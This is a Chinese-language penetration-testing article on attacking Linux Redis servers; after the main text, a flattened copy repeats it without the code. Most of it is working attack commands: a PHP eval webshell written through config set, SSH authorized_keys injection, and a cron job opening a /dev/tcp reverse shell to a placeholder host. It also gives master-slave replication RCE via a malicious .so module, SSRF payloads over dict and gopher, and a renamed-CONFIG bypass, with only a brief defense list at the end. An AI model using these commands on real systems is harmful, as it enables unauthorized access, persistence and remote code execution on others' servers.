浅析Linux下Redis的攻击面(一)
字数 1799 2025-08-25 22:59:09

Linux下Redis攻击面深度分析

0x00 Redis简介与安全背景

Redis是一个基于BSD协议的开源内存键值数据库,具有高性能、支持持久化等特点,广泛应用于缓存、消息中间件等场景。由于其设计理念,Redis存在多个安全风险点:

  • 3.2.0之前版本默认无密码且对外开放6379端口
  • 3.2.0之后增加了保护模式,但仅限制本地访问
  • 提供config命令可修改备份路径和文件名
  • 支持主从复制功能可能被滥用

0x01 环境搭建与版本差异

版本控制规则

Redis采用major.minor.patchlevel版本格式:

  • 偶数小版本号为稳定版(如2.4、2.6)
  • 奇数小版本号为不稳定版(如2.9.x)

测试环境搭建

推荐使用Docker快速搭建不同版本环境:

# 4.x版本
git clone https://github.com/vulhub/vulhub.git
cd ./vulhub/redis/4-unacc
docker-compose up -d

# 5.x版本
docker pull redis:5.0.9
docker run --name redis5 -p6379:6379 -d redis:5.0.9

0x02 常见攻击方式

0x02.1 信息泄露

  • info命令:获取服务器信息和统计数值
  • config get *:获取所有配置信息

0x02.2 写Webshell

传统方式(存在风险)

flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

改进方式(避免flushall)

select 5  # 选择空数据库
set 1 '<?php eval($_POST["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

0x02.3 SSH免密登录

  1. 生成SSH密钥对
  2. 处理公钥文件:
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > temp.txt
cat temp.txt | redis-cli -x set 1
  1. 写入authorized_keys:
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

0x02.4 计划任务反弹Shell

CentOS下有效

set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/X.X.X.X/7789 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

0x02.5 处理压缩问题

当写入高冗余数据时,Redis默认使用LZF压缩,可能导致写入失败:

config set rdbcompression no

0x03 主从复制RCE

0x03.1 原理概述

  1. 攻击者伪装成Redis主节点
  2. 受害者设置为从节点
  3. 传输恶意.so文件
  4. 加载.so文件执行命令

0x03.2 利用工具

推荐使用redis-rogue-server:

python3 redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost 攻击者IP --lport 监听端口

0x03.3 手动利用步骤

config set dir ./
config set dbfilename exp.so
slaveof 攻击者IP 攻击者端口
module load ./exp.so
system.exec 'whoami'
slaveof no one
config set dbfilename dump.rdb
system.exec 'rm ./exp.so'
module unload system

0x03.4 版本限制

  • 有效版本:4.x-5.x
  • 6.0+版本可能因.so文件不兼容而失败

0x03.5 禁用config命令的绕过

redis.conf中配置了rename-command CONFIG ""时:

  1. 通过主从复制同步恶意.so文件
  2. 文件会被保存为默认的dump.rdb
  3. 直接加载dump.rdb作为恶意模块

0x04 SSRF利用Redis

0x04.1 协议差异

特性 dict协议 gopher协议
换行处理 自动添加\r\n 需要手动构造
多命令支持 不支持,需分多次请求 支持多行输入
特殊字符处理 不支持换行符 需要URL编码
请求结束标志 需要添加quit命令

0x04.2 无认证SSRF攻击

dict协议

curl dict://127.0.0.1:6381/slaveof:攻击者IP:端口
curl dict://127.0.0.1:6381/config:set:dbfilename:exp.so
curl dict://127.0.0.1:6381/module:load:./exp.so
curl dict://127.0.0.1:6381/slaveof:no:one
curl dict://127.0.0.1:6381/system.exec:'命令'

gopher协议
使用gopherus工具生成payload:

gopherus --exploit redis

0x04.3 带认证SSRF攻击

  1. 构造认证部分的RESP协议格式:
*2\r\n$4\r\nauth\r\n$6\r\n123123\r\n
  1. URL编码后作为前缀
  2. 附加攻击命令

0x04.4 通用利用脚本

提供Python脚本自动生成gopher协议的payload,支持认证和非认证两种情况。

0x05 其他攻击面

0x05.1 反序列化攻击

当Redis中存储的内容被应用程序反序列化时,可能触发反序列化漏洞。使用gopher协议可传输包含特殊字符的序列化数据。

0x06 防御建议

  1. 设置强密码认证
  2. 禁用危险命令:rename-command CONFIG ""
  3. 启用保护模式
  4. 限制绑定IP
  5. 使用网络隔离
  6. 及时更新Redis版本
  7. 监控异常操作

0x07 总结

Redis在内网渗透中具有多种攻击方式,从简单的信息泄露到通过主从复制实现RCE。攻击者可以利用这些特性实现权限提升、持久化访问等目的。防御方应从配置加固、网络隔离和监控审计等多方面进行防护。

Linux下Redis攻击面深度分析 0x00 Redis简介与安全背景 Redis是一个基于BSD协议的开源内存键值数据库,具有高性能、支持持久化等特点,广泛应用于缓存、消息中间件等场景。由于其设计理念,Redis存在多个安全风险点: 3.2.0之前版本默认无密码且对外开放6379端口 3.2.0之后增加了保护模式,但仅限制本地访问 提供config命令可修改备份路径和文件名 支持主从复制功能可能被滥用 0x01 环境搭建与版本差异 版本控制规则 Redis采用 major.minor.patchlevel 版本格式: 偶数小版本号为稳定版(如2.4、2.6) 奇数小版本号为不稳定版(如2.9.x) 测试环境搭建 推荐使用Docker快速搭建不同版本环境: 0x02 常见攻击方式 0x02.1 信息泄露 info 命令:获取服务器信息和统计数值 config get * :获取所有配置信息 0x02.2 写Webshell 传统方式(存在风险) : 改进方式(避免flushall) : 0x02.3 SSH免密登录 生成SSH密钥对 处理公钥文件: 写入authorized_ keys: 0x02.4 计划任务反弹Shell CentOS下有效 : 0x02.5 处理压缩问题 当写入高冗余数据时,Redis默认使用LZF压缩,可能导致写入失败: 0x03 主从复制RCE 0x03.1 原理概述 攻击者伪装成Redis主节点 受害者设置为从节点 传输恶意.so文件 加载.so文件执行命令 0x03.2 利用工具 推荐使用redis-rogue-server: 0x03.3 手动利用步骤 0x03.4 版本限制 有效版本:4.x-5.x 6.0+版本可能因.so文件不兼容而失败 0x03.5 禁用config命令的绕过 当 redis.conf 中配置了 rename-command CONFIG "" 时: 通过主从复制同步恶意.so文件 文件会被保存为默认的dump.rdb 直接加载dump.rdb作为恶意模块 0x04 SSRF利用Redis 0x04.1 协议差异 | 特性 | dict协议 | gopher协议 | |-----------|----------------------------------|-------------------------------| | 换行处理 | 自动添加\r\n | 需要手动构造 | | 多命令支持 | 不支持,需分多次请求 | 支持多行输入 | | 特殊字符处理 | 不支持换行符 | 需要URL编码 | | 请求结束标志 | 无 | 需要添加quit命令 | 0x04.2 无认证SSRF攻击 dict协议 : gopher协议 : 使用gopherus工具生成payload: 0x04.3 带认证SSRF攻击 构造认证部分的RESP协议格式: URL编码后作为前缀 附加攻击命令 0x04.4 通用利用脚本 提供Python脚本自动生成gopher协议的payload,支持认证和非认证两种情况。 0x05 其他攻击面 0x05.1 反序列化攻击 当Redis中存储的内容被应用程序反序列化时,可能触发反序列化漏洞。使用gopher协议可传输包含特殊字符的序列化数据。 0x06 防御建议 设置强密码认证 禁用危险命令: rename-command CONFIG "" 启用保护模式 限制绑定IP 使用网络隔离 及时更新Redis版本 监控异常操作 0x07 总结 Redis在内网渗透中具有多种攻击方式,从简单的信息泄露到通过主从复制实现RCE。攻击者可以利用这些特性实现权限提升、持久化访问等目的。防御方应从配置加固、网络隔离和监控审计等多方面进行防护。